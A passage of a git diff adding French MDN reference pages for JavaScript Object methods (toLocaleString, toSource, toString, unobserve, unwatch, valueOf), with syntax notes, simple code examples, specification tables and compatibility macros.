+console.log(typeof oPrime); // "object"
+</pre>
+
+<h4 id="Troisième_exemple_Ajouter_une_chaîne_de_prototypes_à_l'objet_Function.prototype_object_et_ajouter_une_nouvelle_fonction_à_cette_chaîne">Troisième exemple : Ajouter une chaîne de prototypes à l'objet Function.prototype object et ajouter une nouvelle fonction à cette chaîne</h4>
+
+<pre class="brush: js">function Personne (sNom) {
+  this.identité = sNom;
+}
+
+var george = Object.appendChain(new Person("George"),
+                                "console.log(\"Salut !!\");");
+
+console.log(george.identité); // "George"
+george(); // "Salut !!"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.setprototypeof', 'Object.setPrototypeOf')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.setprototypeof', 'Object.setPrototypeOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.setPrototypeOf")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect.setPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object/proto","Object.prototype.__proto__")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/object/tolocalestring/index.html
new file mode 100644
index 0000000000..1a8069abcf
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/tolocalestring/index.html
@@ -0,0 +1,85 @@
+---
+title: Object.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/toLocaleString
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toLocaleString()</strong></code> renvoie une chaine de caractères représentant l'objet. Cette méthode est destinée à être surchargée par les objets dérivés à des fins spécifiques pour prendre en compte les locales.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-tolocalestring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.toLocaleString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente l'objet en tenant compte de la locale.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toLocaleString</code> renvoie le résultat de l'appel à la méthode {{jsxref("Object.toString", "toString()")}}.</p>
+
+<p>Cette fonction est destinée à fournir aux objets une méthode générique <code>toLocaleString</code>, même si tous ne peuvent l'utiliser. Voir la liste ci-dessous.</p>
+
+<h3 id="Objets_surchargeant_la_méthode_toLocaleString">Objets surchargeant la méthode toLocaleString</h3>
+
+<ul>
+ <li>{{jsxref("Array")}} : {{jsxref("Array.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Number")}} : {{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date")}} : {{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.3', 'Object.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.toLocaleString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/object/tosource/index.html
new file mode 100644
index 0000000000..b86197d864
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/tosource/index.html
@@ -0,0 +1,132 @@
+---
+title: Object.prototype.toSource()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/toSource
+tags:
+  - JavaScript
+  - Méthode
+  - Non-standard
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La méthode <strong><code>toSource()</code></strong> renvoie une chaîne de caractères représentant le code source d'un objet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.toSource();
+<var>obj</var>.toSource();
+</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente le code source de l'objet.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toSource()</code> renvoie les valeurs suivantes :</p>
+
+<ul>
+ <li>Pour l'objet natif {{jsxref("Object")}}, <code>toSource()</code> renvoie la chaîne suivante, qui indique que le code source n'est pas disponible :
+
+  <pre class="brush: js">function Object() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Pour les instances de {{jsxref("Object")}}, <code>toSource()</code> renvoie une chaîne représentant le code source.</li>
+</ul>
+
+<p>La méthode <code>toSource()</code> peut être utilisée à des fins de débogage pour analyser le contenu d'un objet.</p>
+
+<h3 id="Surcharger_la_méthode_toSource()">Surcharger la méthode <code>toSource()</code></h3>
+
+<p>La méthode <code>toSource()</code> peut être surchargée pour les différents objets. Par exemple :</p>
+
+<pre class="brush: js">function Personne(nom) {
+  this.nom = nom;
+}
+
+Personne.prototype.toSource = function Personne_toSource() {
+  return 'new Personne(' + uneval(this.nom) + ')';
+};
+
+console.log(new Personne('Jean').toSource()); // ---&gt; new Personne("Jean")
+</pre>
+
+<h3 id="Les_méthodes_toSource()_natives">Les méthodes <code>toSource()</code> natives</h3>
+
+<p>Chaque constructeur natif JavaScript possède sa propre méthode <code>toSource()</code>. Ces objets sont :</p>
+
+<ul>
+ <li>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Array")}}.</li>
+ <li>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Boolean")}}.</li>
+ <li>{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Date")}}.</li>
+ <li>{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Function")}}.</li>
+ <li>{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Number")}}.</li>
+ <li>{{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("RegExp")}}.</li>
+ <li>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("String")}}.</li>
+ <li>{{jsxref("Symbol.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Symbol")}}.</li>
+ <li><code>Math.toSource()</code> — Renvoie "Math".</li>
+</ul>
+
+<h3 id="Limites_les_objets_cycliques">Limites : les objets cycliques</h3>
+
+<p>Dans le cas d'objets qui font référence à eux-mêmes (une liste cyclique ou un arbre), <code>toSource()</code> ne représentera pas la référence (Firefox 24). Par exemple :</p>
+
+<pre class="brush: js">var obj1 = {};
+var obj2 = { a: obj1 };
+obj1.b = obj2;
+
+console.log('Cyclique : ' + (obj1.b.a == obj1));
+
+var objSource = obj1.toSource(); // renvoie "({b:{a:{}}})"
+
+obj1 = eval(objSource);
+
+console.log('Cyclique : ' + (obj1.b.a == obj1));
+</pre>
+
+<p>Si on utilise une structure cyclique et qu'on a besoin de <code>toSource()</code>, il faudra surcharger la méthode <code>toSource()</code> pour avoir le comportement souhaité.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toSource()">Utiliser <code>toSource()</code></h3>
+
+<p>Dans le code qui suit, on définit un objet <code>Chien</code> et on crée <code>monChien</code> qui est une instance de type <code>Chien</code> :</p>
+
+<pre class="brush: js">function Chien(nom, race, couleur, sexe) {
+  this.nom = nom;
+  this.race = race;
+  this.couleur = couleur;
+  this.sexe = sexe;
+}
+
+monChien = new Chien('Gabby', 'Labrador', 'chocolat', 'femelle');
+</pre>
+
+<p>Si on appelle la méthode <code>toSource()</code> sur <code>monChien</code>, on obtiendra le littéral permettant de définir l'objet :</p>
+
+<pre class="brush: js">monChien.toSource();
+// returns ({nom:"Gabby", race:"Labrador", couleur:"chocolat", sexe:"femelle"})
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucun standard, implémentée avec JavaScript 1.3.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.toSource")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/object/tostring/index.html
new file mode 100644
index 0000000000..4d25f9b107
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/tostring/index.html
@@ -0,0 +1,138 @@
+---
+title: Object.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/toString
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toString()</strong></code> renvoie une chaîne de caractères représentant l'objet.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-tostring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.toString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant l'objet.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Chaque object possède une méthode <code>toString()</code> qui est appelée de façon automatique à chaque fois que l'objet doit être représenté sous forme de texte ou à chaque fois qu'on utilise un objet et que la valeur attendue est une chaîne de caractères. Par défaut, chaque objet qui descend d'<code>Object</code> hérite de la méthode <code>toString()</code>. Si cette méthode n'est pas surchargée, <code>toString()</code> renvoie "[object <em>type</em>]", où <code><em>type</em></code> est le type de l'objet. Par exemple :</p>
+
+<pre class="brush: js">var o = new Object();
+o.toString();           // renvoie [object Object]
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> À partir de JavaScript 1.8.5 <code>toString()</code>, lorsqu'elle est appelée sur {{jsxref("null")}} renvoie <code>[object <em>Null</em>]</code>, et lorsqu'elle est appelée sur {{jsxref("undefined")}} renvoie <code>[object <em>Undefined</em>]</code>, ce qui est conforme à ECMAScript 5 et aux errata qui ont suivis. Voir l'exemple ci-après <a href="#detect">Utiliser <code>toString</code> pour détecter le type d'un objet</a>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Surcharger_la_méthode_toString()_par_défaut">Surcharger la méthode <code>toString()</code> par défaut</h3>
+
+<p>Il est possible de surcharger la méthode <code>toString()</code>. La méthode <code>toString()</code> ne prend pas d'argument et doit renvoyer une chaîne de caractères. La méthode <code>toString()</code> peut renvoyer n'importe quelle valeur mais elle sera plus pertinente si elle renvoie des informations sur l'objet courant.</p>
+
+<p>Le code qui suit définit un type d'objet <code>Chien</code> et instancie <code>monChien</code>, qui est de type <code>Chien</code> :</p>
+
+<pre class="brush: js">function Chien(nom, race, couleur, sexe) {
+  this.nom = nom;
+  this.race = race;
+  this.couleur = couleur;
+  this.sexe = sexe;
+}
+
+monChien = new Chien('Gabby', 'Labrador', 'chocolat', 'femelle');
+</pre>
+
+<p>Si on appelle la méthode <code>toString()</code> sur cet objet, on aura le résultat suivant (provenant de la méthode originale, héritée d'{{jsxref("Object")}}) :</p>
+
+<pre class="brush: js">monChien.toString(); // renvoie [object Object]
+</pre>
+
+<p>Dans le code qui suit, on surcharge la méthode <code>toString()</code> avec <code>chienToString()</code>. Cette méthode produit une chaîne qui contient l'ensemble des propriétés (race, couleur, sexe, nom) de l'objet :</p>
+
+<pre class="brush: js">Chien.prototype.toString = function chienToString() {
+  var ret = 'Le chien ' + this.nom + ' est un ' + this.race + ' ' + this.sexe + ' ' + this.couleur;
+  return ret;
+}
+</pre>
+
+<p>En utilisant la fonction ci-avant, à chaque fois que <code>monChien</code> sera utilisé là où on attend une chaîne, le moteur JavaScript appellera automatique la fonction <code>chienToString()</code>qui renverra la chaîne suivante :</p>
+
+<pre class="brush: js">Le chien Gabby est un labrador femelle chocolat.
+</pre>
+
+<h3 id="Utiliser_toString()_pour_détecter_le_type_d'un_objet"><a id="detect" name="detect">Utiliser <code>toString()</code> pour détecter le type d'un objet</a></h3>
+
+<p><code>toString()</code> peut être utilisée pour tous les objets afin d'obtenir son type. Pour utiliser <code>Object.prototype.toString()</code> avec n'importe quel objet, il sera nécessaire d'appeler {{jsxref("Function.prototype.call()")}} ou {{jsxref("Function.prototype.apply()")}} (pour éviter les versions surchargées).</p>
+
+<pre class="brush: js">var toString = Object.prototype.toString;
+
+toString.call(new Date);    // [object Date]
+toString.call(new String);  // [object String]
+toString.call(Math);        // [object Math]
+
+// Depuis JavaScript 1.8.5
+toString.call(undefined);   // [object Undefined]
+toString.call(null);        // [object Null]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.2', 'Object.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Lorsque la méthode est appelée sur {{jsxref("null")}}, elle renvoie <code>[object <em>Null</em>]</code>, et sur {{jsxref( "undefined")}} elle renvoie <code>[object <em>Undefined</em>]</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.toString")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+ <li>{{jsxref("Symbol.toPrimitive")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/unobserve/index.html b/files/fr/web/javascript/reference/objets_globaux/object/unobserve/index.html
new file mode 100644
index 0000000000..88de52a813
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/unobserve/index.html
@@ -0,0 +1,103 @@
+---
+title: Object.unobserve()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/unobserve
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Obsolete
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.unobserve
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p>La méthode <code><strong>Object.unobserve()</strong></code> est utilisée pour retirer des observateurs placés avec {{jsxref("Object.observe()")}}. Cette méthode et l'API à laquelle elle appartient ont été dépréciées et retirées des navigateurs. À la place, il est préférable d'utiliser l'objet {{jsxref("Proxy")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.unobserve(<var>obj</var>, <var>callback</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet qu'on souhaite arrêter d'observer.</dd>
+ <dt><code>callback</code></dt>
+ <dd>La référence vers l'observateur qu'on souhaite arrêter d'appeler à chaque fois qu'une modification est apportée à <code><strong>obj</strong></code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet qui n'est plus observé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Object.unobserve()</code> doit être appelé après {{jsxref("Object.observe()")}} afin de retirer un observateur d'un objet.</p>
+
+<p>La fonction de rappel (<em>callback</em>) doit être une référence à la fonction et non une fonction anonyme. En effet, c'est cette référence qui sera utilisée pour retirer l'observateur précédemment placé. Appeler <strong>Object.unobserve()</strong> avec une fonction anonyme n'aura aucun effet, cela ne retirera aucun observateur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Arrêter_l'observation_un_objet">Arrêter l'observation un objet</h3>
+
+<pre class="brush: js">var obj = {
+  toto: 0,
+  truc: 1
+};
+
+var observer = function(changements) {
+  console.log(changements);
+}
+
+Object.observe(obj, observer);
+​
+obj.nouvelleProp = 2;
+// [{name: 'nouvelleProp', object: &lt;obj&gt;, type: 'add'}]
+
+Object.unobserve(obj, observer);
+
+obj.toto = 1;
+// La fonction callback n'a pas été appelée</pre>
+
+<h3 id="Utiliser_une_fonction_anonyme">Utiliser une fonction anonyme</h3>
+
+<pre class="brush: js">var personne = {
+  name : 'Ahmed',
+  age : 25
+};
+
+Object.observe(personne, function (changements) {
+  console.log(changements);
+});
+
+personne.age = 40;
+// [{name: 'age', object: &lt;obj&gt;, oldValue: 25, type: 'update'}]
+
+Object.unobserve(personne, function (changements) {
+  console.log(changements);
+});
+
+personne.age = 63;
+// [{name: 'age', object: &lt;obj&gt;, oldValue: 40, type: 'update'}]
+// La fonction callback est toujours appelée
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Proposition de spécification (<em>strawman proposal</em>)</a>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.unobserve")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.observe()")}}{{obsolete_inline}}</li>
+ <li>{{jsxref("Array.observe()")}}{{obsolete_inline}}</li>
+ <li>{{jsxref("Array.unobserve()")}}{{obsolete_inline}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/unwatch/index.html b/files/fr/web/javascript/reference/objets_globaux/object/unwatch/index.html
new file mode 100644
index 0000000000..4863156034
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/unwatch/index.html
@@ -0,0 +1,70 @@
+---
+title: Object.prototype.unwatch()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/unwatch
+tags:
+  - JavaScript
+  - Méthode
+  - Non-standard
+  - Object
+  - Prototype
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.unwatch
+---
+<div>{{JSRef}}{{Non-standard_header}}</div>
+
+<div class="warning">
+<p><strong>Méthode dépréciée !</strong> Ne pas utiliser <code>unwatch()</code> et {{jsxref("Object.prototype.watch", "watch()")}}. En effet, ces deux méthodes n'étaient implémentées qu'avec Gecko <strong>et ont été retirées à partir de Firefox 58.</strong> De plus, l'ajout de points d'arrêts conditionnels a de graves impacts sur les performances, notamment sur les objets globaux comme <code>window</code>. Il est conseillé d'utiliser les <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#D.C3.A9finir_des_getters_et_setters">accesseurs et mutateurs</a> ou les proxies.</p>
+</div>
+
+<p>La méthode <code><strong>unwatch()</strong></code> permet de retirer un point d'arrêt conditionnel créé par la méthode {{jsxref("Object.prototype.watch", "watch()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.unwatch(<var>prop</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Le nom de la propriété dont on ne veut plus suivre l'état.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Le débogueur JavaScript possède plusieurs fonctionnalités, y compris celles offertes par cette fonction. Pour plus d'informations sur cet outil, voir <a href="/fr/docs/Outils/Debugger">le débogueur JavaScript</a>.</p>
+
+<p>Par défaut, tous les objets qui descendent de {{jsxref("Object")}} héritent de cette méthode.</p>
+
+<div class="note">
+<p><strong>Note :</strong> <code>unwatch()</code> utilise le nom d'une seule propriété comme paramètre. Ce comportement est expliqué avec la méthode {{jsxref("Object.watch", "watch()")}}.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir {{jsxref("Object.watch", "watch()")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucune spécification. Implémentée avec JavaScript 1.2.</p>
+
+<h2 id="Compatibilité_des_navigateurs"><a id="compat" name="compat">Compatibilité des navigateurs</a></h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.unwatch")}}</p>
+</div>
+
+<h2 id="Notes_de_compatibilté">Notes de compatibilté</h2>
+
+<p>Si on appelle <code>unwatch()</code> sur un objet {{domxref("Document")}}, on aura une exception {{jsxref("TypeError")}} à partir de Firefox 23 ({{bug(903332)}}). Cette régression a été corrigée avec Firefox 27.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.watch()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/object/valueof/index.html
new file mode 100644
index 0000000000..fea1e23cc0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/valueof/index.html
@@ -0,0 +1,120 @@
+---
+title: Object.prototype.valueOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/valueOf
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>valueOf()</strong></code> renvoie la valeur primitive d'un objet donné.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-valueof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>object</var>.valueOf()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur primitive de l'objet appelant.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>JavaScript appelle la méthode <code>valueOf</code> pour convertir un objet en une valeur primitive. Il est rarement nécessaire d'appeler soi-même la méthode <code>valueOf</code> ; JavaScript l'invoque automatiquement lorsqu'il rencontre un objet alors qu'il attend une valeur primitive.</p>
+
+<p>Par défaut, la méthode <code>valueOf</code> est héritée par tout objet descendant d'{{jsxref("Object")}}. Tous les objets globaux natifs redéfinissent cette méthode pour renvoyer une valeur appropriée. Si un objet n'a pas de valeur primitive, <code>valueOf</code> renvoie l'objet lui-même, ce qui sera affiché comme :</p>
+
+<pre class="brush: js">[object Object]
+</pre>
+
+<p><code>valueOf</code> peut être utilisée afin de convertir un objet prédéfini en une valeur primitive. Si un objet est défini dans un script, il est possible de surcharger <code>Object.prototype.valueOf</code> pour appeler une méthode personnalisée au lieu de la méthode par défaut d'<code>Object</code>.</p>
+
+<h3 id="Surcharger_valueOf_pour_des_objets_personnalisés">Surcharger <code>valueOf</code> pour des objets personnalisés</h3>
+
+<p>Il est possible de créer une fonction à appeler à la place de la méthode <code>valueOf</code> par défaut. Celle-ci ne peut pas recevoir de paramètres.</p>
+
+<p>Supposons qu'on ait un type d'objet <code>monTypeDeNombre</code> et qu'on désire lui ajouter une méthode <code>valueOf</code> spécifique, on pourra utiliser le code suivant :</p>
+
+<pre class="brush: js">monTypeDeNombre.prototype.valueOf = function(){ return valeurPrimitive;};
+</pre>
+
+<p>En utilisant ce code, chaque fois qu'un objet de type <code>monTypeDeNombre</code> sera utilisé dans un contexte où il doit être représenté comme une valeur primitive, JavaScript appellera automatiquement la fonction qui y est définie.</p>
+
+<p>C'est habituellement JavaScript qui invoquera la méthode <code>valueOf</code>, mais il est aussi possible de l'appeler soi-même :</p>
+
+<pre class="brush: js">monNombre.valueOf()
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Les objets à utiliser dans un contexte textuel sont convertis avec la méthode {{jsxref("Object.toString", "toString()")}} ce qui est différent de la conversion d'objets {{jsxref("String")}} en valeurs primitives avec <code>valueOf</code>. Tous les objets peuvent être convertis en chaînes de caractères (la façon la plus générique étant "<code>[object <em>type</em>]</code>"). En revanche, la plupart des objets ne peut pas être convertie en nombre ou booléen par exemple.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_valueOf">Utiliser <code>valueOf</code></h3>
+
+<pre class="brush: js">function MonTypeDeNombre(n) {
+    this.nombre = n;
+}
+
+MonTypeDeNombre.prototype.valueOf = function(){
+  return this.nombre;
+}
+
+var monObj = new MonTypeDeNombre(4);
+console.log(monObj + 3); // 7 car l'opération a implicitement utilisé valueOf</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.4', 'Object.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
